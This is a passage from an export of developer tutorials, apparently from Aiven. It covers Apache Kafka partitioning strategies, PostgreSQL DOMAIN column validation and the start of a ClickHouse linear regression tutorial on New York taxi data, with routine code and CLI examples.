batches records together before they're sent to the cluster. After the batch is full or the \"linger time\" `linger.ms` is reached, a batch is sent and a new one is created for a different partition. This approach helps decrease latency when producing messages.\n\n\u003c!-- batch --\u003e\n![New records A, B, C, D and are sent to partition 1 as a batch](https://cdn.sanity.io/images/sczeoy4w/production/874f2382bb973bf0a4257b8298a4cad3f0bc8bb6-800x397.png)\n\nHere's a code snippet written in Java which sends a single message into a randomly assigned partition. This is a default behavior and doesn't need any additional logic from your side.\n\n```java\n\n   // add necessary properties to connect \n   // to the cluster and set up security protocols\n   Properties properties = new Properties(); \n   \n   // create a producer\n   KafkaProducer\u003cString,String\u003e producer =\n          new KafkaProducer\u003cString, String\u003e(properties);\n   String topicName = \"topic-name\";\n\n   // generate new message\n   String message = \"A message\";\n\n   // create a producer record\n   ProducerRecord\u003cString, String\u003e record =\n           new ProducerRecord\u003c\u003e(topicName, message);\n\n   // send data\n   producer.send(record);\n   logger.info(\"Sent: \" + message);\n\n```\n\n### Scenario # 2: the order is important for groups of records defined with a key\n\nEven though some scenarios do not require maintaining message sequence, the majority of cases do. Imagine, for example, that you run an online shop where customers trigger different events through your applications, and information about their activity is stored in a topic in an Apache Kafka cluster. In this scenario, the order of events for every single customer is important, while the order of events across the customers is irrelevant.\n\n\u003c!-- users-and-actions --\u003e\n![The order of actions taken by individual users are preserved, but don't need to stay adjacent.](https://cdn.sanity.io/images/sczeoy4w/production/4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63-800x242.png)\n\nThat's why our goal is to preserve the correct sequence of the messages related to every individual customer. We can achieve this if we store the records for every individual customer consistently in a dedicated partition.\n\nThe default partitioner can already do it for you, if you define a proper key for each of the messages.\n\nEvery record body in an Apache Kafka topic consists of two parts - the **value** of the record and an **optional key**. The key plays a dramatic role in how messages are distributed across the partitions - all messages with the same key are added to the same partition.\n\nFor our example, the most obvious choice for a key is the id of a customer, which we can use to partition the data. This is visualized below where, for simplicity, we assume that we have three customers (`John`, `Claire` and `Burt`) and three partitions.\n\n\u003c!-- using-key --\u003e\n![A key can be used to decide which partition an event goes to. Here, the user is the key. Partition 1 gets events for John, partition 2 those for Claire, and partition 3 those for Burt.](https://cdn.sanity.io/images/sczeoy4w/production/41ec1d7ec9c830f60138224c5e03ec9ce8827a9a-800x357.png)\n\nOnce the data with the key `John` is stored in a partition, Apache Kafka remembers to send all future messages with the identical key into the same partition.\n\nThis visualization includes just three customers, one for each partition. In real life you might need to store data for multiple customers (or devices, or vehicles, etc.) in a single partition.\n\nThe code snippet below shows how to use a key when creating a record:\n\n```java\n   // create a producer record\n   String key = message.get(\"customerId\").toString();\n   String value = message.toString();\n   ProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, key, value);\n```\n\nWhat's important to note is that Apache Kafka doesn't use a string representation of the key. Instead it converts the key into a **hash value**, which means that there is a probability of a hash collision, when two different keys create the same hash resulting in data assigned to the same partition. Is this something you need to avoid? Scroll down to read about the custom partitioner!\n\n### Scenario # 3: partition numbers are known in advance\n\nSometimes you want to control which message goes to which partition. For example, maybe the target partition depends on the day of the week when the data is generated. Assuming your system has seven partitions:\n\n```java\n   // create a producer record\n   String key = message.get(\"customer\").toString();\n   String value = message.toString();\n   LocalDate today = LocalDate.now();\n   Integer partitionNumber = today.getDayOfWeek().getValue();\n   ProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, partitionNumber, key, value);\n```\n\n### Scenario # 4: achieve maximum flexibility\n\nThe tools we've looked at above will help in many use cases. In some situations, however, you might need higher flexibility and might want to customize the logic of partitioning even farther. For this, Apache Kafka provides a mechanism to plug in a **custom partitioner**, that divides the records across partitions based on the content of a message or some other conditions.\n\nYou can use this approach if you want to group the data within a partition according to a custom logic. For example, if you know that some sources of data bring more records than others, you can group them so that no single partition is significantly bigger or smaller than others. Alternatively, you might want to use this approach if you want to base partitioning on a group of fields, but prefer to keep the key untouched.\n\nIn a custom partitioner you have access to both key and value of the record before deciding into which partition you want to put the message. To create a custom partitioner you'll need to implement a partitioner class and define the logic of its methods. Here is an example of a custom partitioner written in Java:\n\n```java\npublic class customPartitioner implements Partitioner {\n\n    public void configure(Map\u003cString, ?\u003e configs) {\n    }\n\n    public int partition(String topic, Object key, byte[] keyBytes, Object value, byte[] valueBytes, Cluster cluster) {\n        // get the list of available partitions\n        List\u003cPartitionInfo\u003e partitions = cluster.partitionsForTopic(topic);\n        int numPartitions = partitions.size();\n        \n        int partition = ...;\n        \n        return partition;\n    }\n\n    public void close() {\n    }\n}\n```\n\nOnce you've defined the custom partitioner, reference it in your producer:\n\n```java \n    Properties properties = new Properties();\n    properties.put(\"partitioner.class\", \"customPartitioner\");\n    \n    KafkaProducer\u003cString, String\u003e producer = new KafkaProducer\u003c\u003e(properties);\n```\n\nNow every arriving record is analyzed by a custom partitioner before it is put into a designated partition.\n\n### Scenario # 5: round robin and uniform sticky partitioning\n\nThere are two more built-in partitioners that you can consider. The first is `RoundRobinPartitioner` which acts according to its name - iterating over all partitions and distributing items one by one ignoring any provided key values. Round robin, unfortunately, is known to cause uneven distribution of records across partitions. Furthermore, it is less performant compared to the default sticky mechanism, where records are combined into batches to speed up producing time. \n\nAnother built-in partitioner is `UniformStickyPartitioner`, which acts similarly to `DefaultPartitioner` but ignores the key value. \n\n## Challenge of uneven record distribution\n\nWhen defining partitioning logic, carefully evaluate how your partitions will be growing over time. You need to understand if there is a risk that a selected mechanism will result in uneven message distribution. \n\nThere are a variety of scenarios when uneven distribution can happen.\n\nFor example, when the default partitioner sends a huge batch of data to a single partition. When using the default partitioner, consider the proper settings for \"linger time\" and a maximum size of the batch that fits your particular scenarios. For example, if your product is frequently used during the day, but almost no records come in at night, it is common to set \"linger time\" low and batch size high. However, with these settings there is a probability that if you have an unexpected surge of data, this influx of records is added to a single batch and sent to a single partition, leading to uneven message distribution.\n\nAnother case of uneven message distribution can happen when you distribute records by keys, but the amount of data related to some keys is significantly bigger than for others. For instance, imagine that you run an image gallery service and divide data across partitions by user id. If some of your users use the service significantly more frequently, they produce significantly more records, increasing the size of some partitions.\n\nSimilar to the scenario above, if you rely on days and times to distribute the data, some dates - such as Black Friday or Christmastime - can generate considerably more records.\n\nAdditionally, uneven distribution can happen when you move data from other data sources with the help of Kafka Connect. Make sure that the data is not heavily written to a single partition, but distributed evenly.\n\nOverall, uneven message distribution is a complex problem that's easier to prevent than to solve later. Rebalancing messages across partitions is a challenging task because in many scenarios partitions preserve the necessary order of the messages, and rebalancing can destroy the correct sequence.\n\n::banner[How does this happen, what is the impact, and how to avoid it?]{ctaText=\"Watch the Helsinki developer meetup recording\" ctaLink=\"https://www.youtube.com/watch?v=tQMfXmzBnaQ\" title=\"Uneven distribution across Kafka partitions\" theme=\"dark\"}\n\n\n## Conclusions\n\nApache Kafka provides a set of tools to distribute records across multiple partitions. However, the responsibility for a durable architecture, and selection of the strategy to distribute the messages, lies on the shoulders of the engineers building the system.  \n\nIf you'd like to learn more about Apache Kafka, check out these articles:\n\n- [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka)\n- [Database migration with Apache Kafka® and Apache Kafka® Connect](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect)\n- [Using Kafka Connect JDBC Source: a PostgreSQL® example](https://aiven.io/blog/using-kafka-connect-jdbc-source-a-postgresql-example)\n- [Manage Apache Kafka® Connect connectors with kcctl](https://aiven.io/blog/manage-apache-kafka-connect-connectors-with-kcctl)\n\nOr poke around [our Apache Kafka documentation](https://aiven.io/docs/products/kafka) and try out [Aiven for Apache Kafka](https://console.aiven.io/signup) ","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:11:21.010Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"f00fc5d9e1c3","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-10-27T13:50:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2ff6bfe25fe1c09455c1367912b235d0d0085f24-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/balance-data-across-kafka-partitions"},"subtitle":"When it comes to making a performant Apache Kafka® cluster, partitioning is crucial. Read this article to learn which tools you can use to partition your data.","tags":[{"_key":"8573a0da5a25","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Ways to balance your data across Apache Kafka® partitions"}
{"__i18n_lang":"en","_createdAt":"2023-05-04T10:01:35Z","_id":"fa11e629-f8d4-4f17-9972-5520d86c7a42","_rev":"VeNKqGNmt13PzvGhqsSzwk","_type":"devArticle","_updatedAt":"2024-01-29T15:49:05Z","body":"When dealing with data inputs, there's always one or more fields that need strict validation: a T-shirt size can accept only a few precise values, a shoe size should be within a range of numbers, a phone number should follow a precise pattern. It's good to perform these checks at the application level, for example as a part of a form input, but for data consistency it's best to validate that data when adding it to the database as well. \n\nPostgreSQL® allows these checks to be performed in several ways, like using table constraints. In this article, we'll talk about the [DOMAIN feature](https://www.postgresql.org/docs/current/sql-createdomain.html), which defines column validation centrally for use across multiple database tables. We'll showcase the power and the limits of the DOMAIN approach, using some fairly basic examples of verifying Italian addresses in a table.\n\n## Centralized vs per-table approach\n\nAs mentioned before, the DOMAIN option allows defining the constraints of a column type once and reusing it across several tables. The benefit of a unique definition are evident: there's one truth and one point of contact. Needing to define the same constraints across several tables could result in human error or misalignment during constraint evolution.\n\nOn the other side, having a unique definition can be tricky in cases when different tables need to evolve such a definition in different ways or across different times. In such cases, having a unique point of contact can become dangerous. Check the examples below regarding [altering](#pay-attention-when-altering) and [dropping](#pay-attention-when-dropping) DOMAIN definitions for more info.\n\n## Pick a database\n\nFor our test case, we can use any kind of PostgreSQL, it being on-premises, Docker, or cloud, since the DOMAIN function is native to PostgreSQL and has been available for a long time. For the purpose of the blog we'll use Aiven for PostgreSQL®. [Sign up for an Aiven account](https://console.aiven.io/signup) if you don't have one already and [install the Aiven CLI](https://aiven.io/docs/tools/cli#install). \n\nYou'll need to [authenticate to the CLI](https://aiven.io/docs/tools/cli#authenticate) before you can create your first service and once authenticated, you can [create a service](https://aiven.io/docs/tools/cli/service#avn-service-create):\n\n```bash\navn service create demo-pg-italian-addresses  \\\n    --service-type pg                         \\\n    --plan hobbyist                           \\\n    --cloud google-europe-west3\n```\n\nThe above call creates an Aiven for PostgreSQL service (`--service-type pg`) named `demo-pg-italian-addresses`, using the smallest `hobbyist` plan on the `google-europe-west3` region.\nWe can wait for the service to be up and running with:\n\n```bash\navn service wait demo-pg-italian-addresses\n```\n\nAnd connect to it (this runs [psql](https://www.postgresql.org/docs/current/app-psql.html) for you, so that needs to be installed) with:\n\n```bash\navn service cli demo-pg-italian-addresses\n```\n\n## Define the allowed Italian street values\n\nFor the purposes of this demonstration, let's say Italian streets begin with three indicators: Via, Viale, and Piazza. In reality there are more ways to indicate streets in Italy, but let's keep it simple for now.\n\nLet's use the [DOMAIN feature](https://www.postgresql.org/docs/current/sql-createdomain.html) to create a domain for these three values, `ITALIAN_ADDRESS`.\n\n```sql\nCREATE DOMAIN ITALIAN_ADDRESS\n    TEXT\n    NOT NULL\n    CONSTRAINT ITALIAN_ADDRESS_CHECK CHECK(UPPER(VALUE) ~ '^(VIA|VIALE|PIAZZA) [A-Z \\-]+ [0-9]+[A-Z]*$');\n```\n\nIf we check the details of the above command we can see:\n\n* The name is `ITALIAN_ADDRESS`\n* The data type is `TEXT`\n* There is a `NOT NULL` constraint forcing the column to never be empty\n* There is a `CONSTRAINT` named `ITALIAN_ADDRESS_CHECK`. This performs a check, based on a [regular expression](https://www.postgresql.org/docs/current/functions-matching.html), ensuring the address:\n    * Starts with one of `VIA`, `VIALE` or `PIAZZA` identifying the type of street/square\n    * Is followed by a space and a string of `A-Z`, space or `-` characters identifying the street/square name\n    * Is followed by a space one or more numbers (`+`) identifying the building number\n    * Is followed by zero or more letters (`*`) identifying the block within the building\n\n## Use the domain within a table definition\n\nNow that we've defined the domain, we can use it when creating a table. Let's create the table `ADDRESSES` to host our customer information, such as the customer's name and their address:\n\n```sql\nCREATE TABLE ADDRESSES(\n    ID SERIAL,\n    NAME TEXT,\n    ADDRESS ITALIAN_ADDRESS\n);\n```\n\nIn the above SQL, the `ADDRESS` column refers to the `ITALIAN_ADDRESS` domain. Now we can insert rows, checking that the domain rules are obeyed:\n\n```sql\nINSERT INTO ADDRESSES(NAME, ADDRESS) VALUES ('UGA', 'PIAZZA DEL CORSO 8A');\n```\n\nThe above insert is successful, since it follows the domain definition. But what happens if we try something different, like an address starting with `STRADA`?\n\n```sql\nINSERT INTO ADDRESSES(NAME, ADDRESS) VALUES ('UGO', 'STRADA NASCOSTA 5');\n```\n\nWe get an error, since the domain check is failing:\n\n```sql\nERROR:  value for domain italian_address violates check constraint \"italian_address_check\"\n```\n\nOur domain is working as expected and we can now use it in other table definitions as well. For example if we have a `SHOPS` table that needs to contain a validated address, we can define it as `SHOPS ITALIAN_ADDRESS`. This is the beauty of the DOMAIN feature: one central definition, multiple usages.\n\n## Set a default value\n\nThe domain definition prohibits null values in the column, but we might want to allow an insert that skips the column definition by setting a domain default value:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS SET DEFAULT 'UNKNOWN ADDRESS';\n```\n\nNow, if we try to add a new customer without any associated address, we might expect a successful insert:\n\n```sql\nINSERT INTO ADDRESSES(NAME) VALUES ('LUIGI');\n```\n\nInstead we get an error:\n\n```sql\nERROR:  value for domain italian_address violates check constraint \"italian_address_check\"\n```\n\nThe error is due to the fact that our default value `UNKNOWN ADDRESS` is not compliant with the constraint defined in the domain (it doesn't start with `VIA`, `VIALE` or `PIAZZA`). If we switch the default to a compatible value like `VIA UNKNOWN ADDRESS 1`:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS SET DEFAULT 'VIA UNKNOWN ADDRESS 1';\n```\n\nWe can successfully push the customer information without the address now:\n\n```sql\nINSERT INTO ADDRESSES(NAME) VALUES ('LUIGI');\n```\n\nChecking the data in the `ADDRESSES` table with: \n\n```sql\nSELECT * FROM ADDRESSES;\n```\n\nWill show the row for `LUIGI` with the default address set.\n\n```sql\n id | name  |        address\n----+-------+-----------------------\n  1 | UGA   | PIAZZA DEL CORSO 8A\n  4 | LUIGI | VIA UNKNOWN ADDRESS 1\n(2 rows)\n```\n\nNote that there is a hierarchy for default values: Data type default -\u003e Domain default -\u003e Table column default.\n\nThe data type default value can be overridden by the domain default and the domain default can be overridden by the table column default.\n\n## Pay attention when altering domains\n\nChanging domains already in use can be tricky. For example, let's say that tomorrow italy decides that all `PIAZZA` addresses should be renamed to `PIZZA`, so we need to update our domain to reflect this. First we remove the old constraint:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n    DROP CONSTRAINT ITALIAN_ADDRESS_CHECK;\n```\n\nThen add the new check, changing `PIAZZA` to `PIZZA`:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n    ADD CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK CHECK(UPPER(VALUE) ~ '^(VIA|VIALE|PIZZA) [A-Z \\-]+ [0-9]+[A-Z]*$');\n```\n\nBut the command above generates an error:\n\n```sql\nERROR:  column \"address\" of table \"addresses\" contains values that violate the new constraint\n```\n\nWhy can't we enable the new constraint? Let's have a look at the data that doesn't satisfy the new constraint, with:\n\n```sql\nSELECT *\nfrom ADDRESSES\nwhere NOT ADDRESS ~ '^(VIA|VIALE|PIZZA) [A-Z \\-]+ [0-9]+[A-Z]*$';\n```\n\nThe `WHERE` clause in that query checks the address against the same regular expression as defined in the domain. The output is:\n\n```sql\n id | name |       address\n----+------+---------------------\n  1 | UGA  | PIAZZA DEL CORSO 8A\n(1 row)\n```\n\nWe can see that the `PIAZZA DEL CORSO 8A` row doesn't satisfy our new constraint (it should start with `PIZZA`). Let's define the constraint as `NOT VALID` for now:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n    ADD CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK CHECK(UPPER(VALUE) ~ '^(VIA|VIALE|PIZZA) [A-Z \\-]+ [0-9]+[A-Z]*$')  NOT VALID;\n```\n\nThe `NOT VALID` clause, allows us to add the constraint but not validate the rows in the table. If we check the validity:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n    VALIDATE CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK;\n```\n\nWe still get the same error since we didn't update the data:\n\n```sql\nERROR:  column \"address\" of table \"addresses\" contains values that violate the new constraint\n```\n\nWe need to update the data in the table:\n\n```sql\nUPDATE ADDRESSES SET ADDRESS=REPLACE(ADDRESS, 'PIAZZA', 'PIZZA') WHERE ADDRESS LIKE 'PIAZZA%';\n```\n\nThen check the data with `SELECT * FROM ADDRESSES;`\n\n```sql\n id | name  |        address\n----+-------+-----------------------\n  1 | UGA   | PIZZA DEL CORSO 8A\n  4 | LUIGI | VIA UNKNOWN ADDRESS 1\n(2 rows)\n```\n\nThe `UGA` row should now be in line with the new constraint, so we can validate it:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n    VALIDATE CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK;\n```\n\nSuccess! Now the check is enabled, therefore trying to insert a `PIAZZA` address is prohibited.\n\n```sql\nINSERT INTO ADDRESSES (NAME, ADDRESS) VALUES ('CARLA', 'PIAZZA MAGGIORE 33');\n```\n\nThe above SQL throws the error:\n\n```sql\nERROR:  value for domain italian_street violates check constraint \"italian_street_new_check\"\n```\n\nBesides this example, another catch with the `ALTER DOMAIN` command is that any expression or function we add as part of the domain creation should be immutable. If we have a user-defined function as part of the `CREATE DOMAIN` expression, and we're able to modify the expression/function **after** domain creation, we'll get an error when reloading the data in that database.\n\n## Pay attention when dropping\n\nWhat happens when dropping a domain used in one or more tables?\n\n```sql\nDROP DOMAIN ITALIAN_ADDRESS;\n```\n\nWe get the following error, signaling that there are dependencies\n\n```sql\nERROR:  cannot drop type italian_address because other objects depend on it\nDETAIL:  column address of table addresses depends on type italian_address\nHINT:  Use DROP ... CASCADE to drop the dependent objects too.\n```\n\nIf we really want to drop it we can use the `CASCADE` option:\n\n```sql\nDROP DOMAIN ITALIAN_ADDRESS CASCADE;\n```\n\nCheck the table:\n\n```sql\nSELECT * FROM ADDRESSES;\n```\n\nNo `ADDRESS` column anymore!\n\n```sql\n id | name\n----+-------\n  1 | UGA\n  4 | LUIGI\n(2 rows)\n```\n\nIt's difficult to drop an in-use domain without affecting the rest of the database tables. The beauty of centrally managed column definition is playing against us in this scenario. Since the definition is unique, any table using it will have columns disappear if the related definition gets deleted.\n\n## Conclusion\n\nPostgreSQL domains are a powerful feature, allowing a central definition of column validation rules that can be then applied across several tables. The evolution of the definition can be tricky, but for standard, non-evolving columns it can represent a good way to centralize the definition and checks.\n\nCheck out some additional resources on the topic:\n\n* [PostgreSQL create domain documentation](https://www.postgresql.org/docs/current/sql-createdomain.html)\n* [PostgreSQL alter domain documentation](https://www.postgresql.org/docs/current/sql-alterdomain.html)\n* [PostgreSQL regular expressions documentation](https://www.postgresql.org/docs/current/functions-matching.html)\n* [Aiven for PostgreSQL®](https://aiven.io/postgresql)\n* [Aiven for PostgreSQL® documentation](https://aiven.io/docs/products/postgresql)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-05-11T09:52:16.887Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"aa249bf9bbc4","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2023-05-04T09:50:59.995Z","seo":{"_type":"metaData","metaDescription":"Learn how to effectively use PostgreSQL® DOMAIN rules to validate columns of data. Improve your workflows today and visit the Aiven Developer Center.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-90b5e83431dc61d2f8b601b7820c3c67df46aabc-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/use-postgresql-domain-rules-to-validate"},"subtitle":"Learn how to validate your data as it goes into your databases to improve data quality","tags":[{"_key":"b0121d5ff714","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"747c373a6657","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"8eaf8fb8a3f4","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Use PostgreSQL® DOMAIN rules to validate columns of data"}
{"__i18n_lang":"en","_createdAt":"2024-03-04T11:01:31Z","_id":"fe0e3023-05d0-4a30-830b-6c03fb4e23c7","_rev":"bjd9bS9uM8kqzH43T73bmy","_type":"devArticle","_updatedAt":"2024-03-04T16:44:40Z","body":"ClickHouse® is a well known analytical database, but one of its less known feature is the ability to train AI models and perform live scoring with a set of SQL statements. In this tutorial we'll showcase how, starting from a taxi dataset, we can train a Logistic Regression model and use it for predicting the future cost of a ride.\n## Prerequisites \n\n- An Aiven account. [Sign up for a free trial today](https://aiven.io/signup)\n- [Docker](https://docs.docker.com/get-docker/) to interact with the ClickHouse® service to upload the data and query it\n\n## Start with Aiven for ClickHouse \n\nWe can create an ClickHouse service with the following process:\n\n1. Access the [Aiven Console](https://console.aiven.io/)\n2. Create an Aiven for ClickHouse® service and specify:\n    \n    * The cloud provider and region\n    * The service plan, defining the size of the service. We can use the free tier for the purpose of this tutorial\n    * The additional storage disk size\n    * The service name  \n\n3. Click on **Create**\n\nWait a couple of minutes until the service is in `RUNNING` state.\n\n## Load the data\n\nFor this tutorial, we'll use a dataset containing [New York taxi trip data from Kaggle](https://www.kaggle.com/datasets/microize/newyork-yellow-taxi-trip-data-2020-2019?resource=download). Navigate to the [Kaggle](https://www.kaggle.com/datasets/microize/newyork-yellow-taxi-trip-data-2020-2019?resource=download) website, download the file and unzip it. The folder contains a set of files with the naming pattern `yellow_tripdata_YYYY-MM.csv`. Each one includes a month of taxi rides in the years `2019` and `2020`.\n\nTo load it in Aiven for ClickHouse, connect to the database with the `clickhouse-client` Docker image:\n\n```bash\ndocker run -it \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user USERNAME \\\n--password PASSWORD \\\n--host HOST \\\n--port PORT \\\n--secure\n```\n\n::alert[You can find the `USERNAME`, `PASSWORD`, `HOST` and `PORT` information in the [Aiven Console](https://console.aiven.io/), under the Aiven for ClickHouse service overview page in the **ClickHouse Native** tab.]\n\n\nCreate a `taxi_trips_train` table for our training dataset:\n\n```sql\nCREATE TABLE taxi_trips_train (\n    VendorID                UInt32,\n    tpep_pickup_datetime    DateTime,\n    tpep_dropoff_datetime   DateTime,\n    passenger_count         UInt32,\n    trip_distance           Float32,\n    RatecodeID              UInt32,\n    store_and_fwd_flag      String,\n    PULocationID            UInt32,\n    DOLocationID            UInt32,\n    payment_type            Enum('CSH' = 1, 'CRE' = 2, 'NOC' = 3, 'DIS' = 4, 'UNK' = 5),\n    fare_amount             Float32,\n    extra                   Float32,\n    mta_tax                 Float32,\n    tip_amount              Float32,\n    tolls_amount            Float32,\n    improvement_surcharge   Float32,\n    total_amount            Float32,\n    congestion_surcharge    Float32,\n)\nENGINE = MergeTree\nPRIMARY KEY (tpep_pickup_datetime, tpep_dropoff_datetime);\n```\n\nCreate another table, named `taxi_trips_test`  for our testing dataset:\n\n```sql\nCREATE TABLE taxi_trips_test (\n    VendorID                UInt32,\n    tpep_pickup_datetime    DateTime,\n    tpep_dropoff_datetime   DateTime,\n    passenger_count         UInt32,\n    trip_distance           Float32,\n    RatecodeID              UInt32,\n    store_and_fwd_flag      String,\n    PULocationID            UInt32,\n    DOLocationID            UInt32,\n    payment_type            Enum('CSH' = 1, 'CRE' = 2, 'NOC' = 3, 'DIS' = 4, 'UNK' = 5),\n    fare_amount             Float32,\n    extra                   Float32,\n    mta_tax                 Float32,\n    tip_amount              Float32,\n    tolls_amount            Float32,\n    improvement_surcharge   Float32,\n    total_amount            Float32,\n    congestion_surcharge    Float32,\n)\nENGINE = MergeTree\nPRIMARY KEY (tpep_pickup_datetime, tpep_dropoff_datetime);\n```\n\nThen exit from the docker container:\n\n```bash\nexit\n```\n\nNext, we need to clean our data source a little. Remove the Windows end of line symbols from `yellow_tripdata_2019-01.csv`, representing our training dataset, with:\n\n```bash\ntr -d '\\015' \u003cyellow_tripdata_2019-01.csv \u003eyellow_tripdata_2019-01-polished.csv\n```\n\nThen load the data from the `yellow_tripdata_2019-01-polished.csv` file to the `taxi_trips_train` table with:\n\n```bash\ncat yellow_tripdata_2019-01-polished.csv | docker run   -i   \\\n--rm clickhouse/clickhouse-server clickhouse-client  \\\n--user USERNAME                     \\\n--password PASSWORD                 \\\n--host HOST                         \\\n--port PORT                         \\\n--secure                            \\\n--max_insert_block_size=100000      \\\n--query=\"\"\"INSERT INTO taxi_trips_train FORMAT CSVWithNames\"\"\"\n```\n\nLoad the `yellow_tripdata_2019-02.csv` data in the `taxi_trips_test`, this represents our testing dataset\n\n```bash\ntr -d '\\015' \u003cyellow_tripdata_2019-02.csv \u003eyellow_tripdata_2019-02-polished.csv\ncat yellow_tripdata_2019-02-polished.csv | docker run   -i   \\\n--rm clickhouse/clickhouse-server clickhouse-client  \\\n--user USERNAME                     \\\n--password PASSWORD                 \\\n--host HOST                         \\\n--port PORT                         \\\n--secure                            \\\n--max_insert_block_size=100000      \\\n--query=\"\"\"INSERT INTO taxi_trips_test FORMAT CSVWithNames\"\"\"\n```\n\n\n## Train a stochastic linear regression model \n\nOnce the data is uploaded, we can focus on the main task of training an AI model. Checking the dataset, we can notice the presence of a column called `fare_amount` representing the fare as calculated by the meter based on time and distance. In the next section we'll build a model to predict the `fare_amount` based on other columns in the dataset and we'll use a stochastic linear regression model built in ClickHouse to achieve it.\n\nTo train the model, connect to ClickHouse again:\n\n```bash\ndocker run -it \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user USERNAME \\\n--password PASSWORD \\\n--host HOST \\\n--port PORT \\\n--secure\n```\n\nThen execute the following SQL to train the stochastic linear regression model: \n\n```sql\nCREATE TABLE taxi_trips_model ENGINE = Memory AS \nSELECT\n    stochasticLinearRegressionState(0.001, 0.1, 15, 'Adam')(\n        fare_amount, \n        passenger_count, \n        trip_distance, \n        RatecodeID, \n        PULocationID, \n        DOLocationID\n        )\nAS state FROM taxi_trips_train;\n```\n\nThe above statement trains a stochastic linear regression model with the following parameters:\n\n* `taxi_trips_model` as name\n* `0.001` as learning rate\n* `0.1` as l2 regularization coefficient\n* `15` as mini-batch size\n* `Adam` as method for updating weights\n* `fare_amount` as target column\n* `passenger_count`, `trip_distance`, `RatecodeID`, `PULocationID`, and `DOLocationID` as training parameters\n\n## Test the stochastic linear regression model \n\nAfter building the model, let's test it against our `taxi_trips_test` dataset. We can compare the actual `fare_amount` in our test dataset with the prediction from the `taxi_trips_model` with:\n\n```sql\nWITH (SELECT state FROM taxi_trips_model) AS model\nSELECT \n    rowNumberInAllBlocks(),\n    fare_amount,\n    evalMLMethod(\n        model,\n        passenger_count,\n        trip_distance,\n        RatecodeID,\n        PULocationID,\n        DOLocationID\n    ) prediction\nFROM taxi_trips_test limit 10;\n```\n\nThe above SQL:\n* Retrieves the `state` from the `taxi_trips_model` model\n* Includes the row number with the `rowNumberInAllBlocks()` function\n* Selects the `fare_amount` from the test dataset\n* includes the prediction from the model using the `evalMLMethod` function, passing the same columns used for training, but coming from the test dataset\n\nThe results showcases predictions not too far from the actual data\n\n```\n┌─rowNumberInAllBlocks()─┬─fare_amount─┬────prediction─┐\n │                        0 │            52 │  57.29841872226803 │\n │                        1 │          42.5 │   43.8984970367608 │\n │                        2 │             7 │  7.425320721767511 │\n │                        3 │            10 │ 11.119674442058924 │\n │                        4 │          11.5 │ 13.151729718574753 │\n │                        5 │             7 │  7.861355191000587 │\n │                        6 │           9.5 │ 10.534773043722428 │\n │                        7 │             9 │ 10.270891195885282 │\n │                        8 │           5.5 │  6.191941850198845 │\n │                        9 │            16 │ 17.262316387594158 │\n└───────────────┴─────────┴───────────┘\n```\n\n## Measure the stochastic linear regression model performance\n\nHow does the model perform? In the AI/ML field there are a set of different KPIs to understand the quality of a model. We are going to use the mean absolute error (MAE) in this example. The MAE calculates the average difference between the prediction and the actual value in the testing dataset. We can calculate the overall MAE with:\n\n```sql\nWITH (SELECT state FROM taxi_trips_model) AS model,\npred as (SELECT \n    rowNumberInAllBlocks() rownum,\n    fare_amount,\n    evalMLMethod(\n        model,\n        passenger_count,\n        trip_distance,\n        RatecodeID,\n        PULocationID,\n        DOLocationID\n    ) prediction\nFROM taxi_trips_test)\nSELECT\n    avg(abs(fare_amount - prediction)) AS MAE,\n    avg(fare_amount) AS avg_fare_amount,\n    avg(abs(fare_amount - prediction))*100.0/avg(fare_amount) pct\nFROM pred WHERE fare_amount \u003e 0 and fare_amount \u003c= 500;\n```\n\nThe above query calculates:\n* The `MAE` as the average of the absolute difference between the actual `total_amount` and the `prediction`\n* The average `total_amount`\n* The weight of the `MAE` on the `total_amount`\n\nThe results say that our model is off on `2.03` dollars per trip, the error is around `15.97%`. Not bad for a single SQL query. \n\n```\n┌────────MAE─┬────avg_fare_amount─┬─────────pct─┐\n │ 2.035759828017413 │     12.746705737557932 │ 15.970870199184755 │\n└───────────┴──────────────┴────────────┘\n```\n\n## Improve the model with feature engineering in ClickHouse\n\nCan we improve the performance? Yes with some feature engineering! Feature engineering is the practice of creating a new set of parameters for the model to be more accurate. You can derive these parameters from existing parameters, enriched with external sources, or aggregated from various fields. All the above actions are native to ClickHouse that allows us to explore the data and reshape it as needed.\n\nFirst step is to check the data quality; let's investigate the presence of outliers in the `fare_amount` column by bucketing the data in 10$ buckets:\n\n```sql\nselect 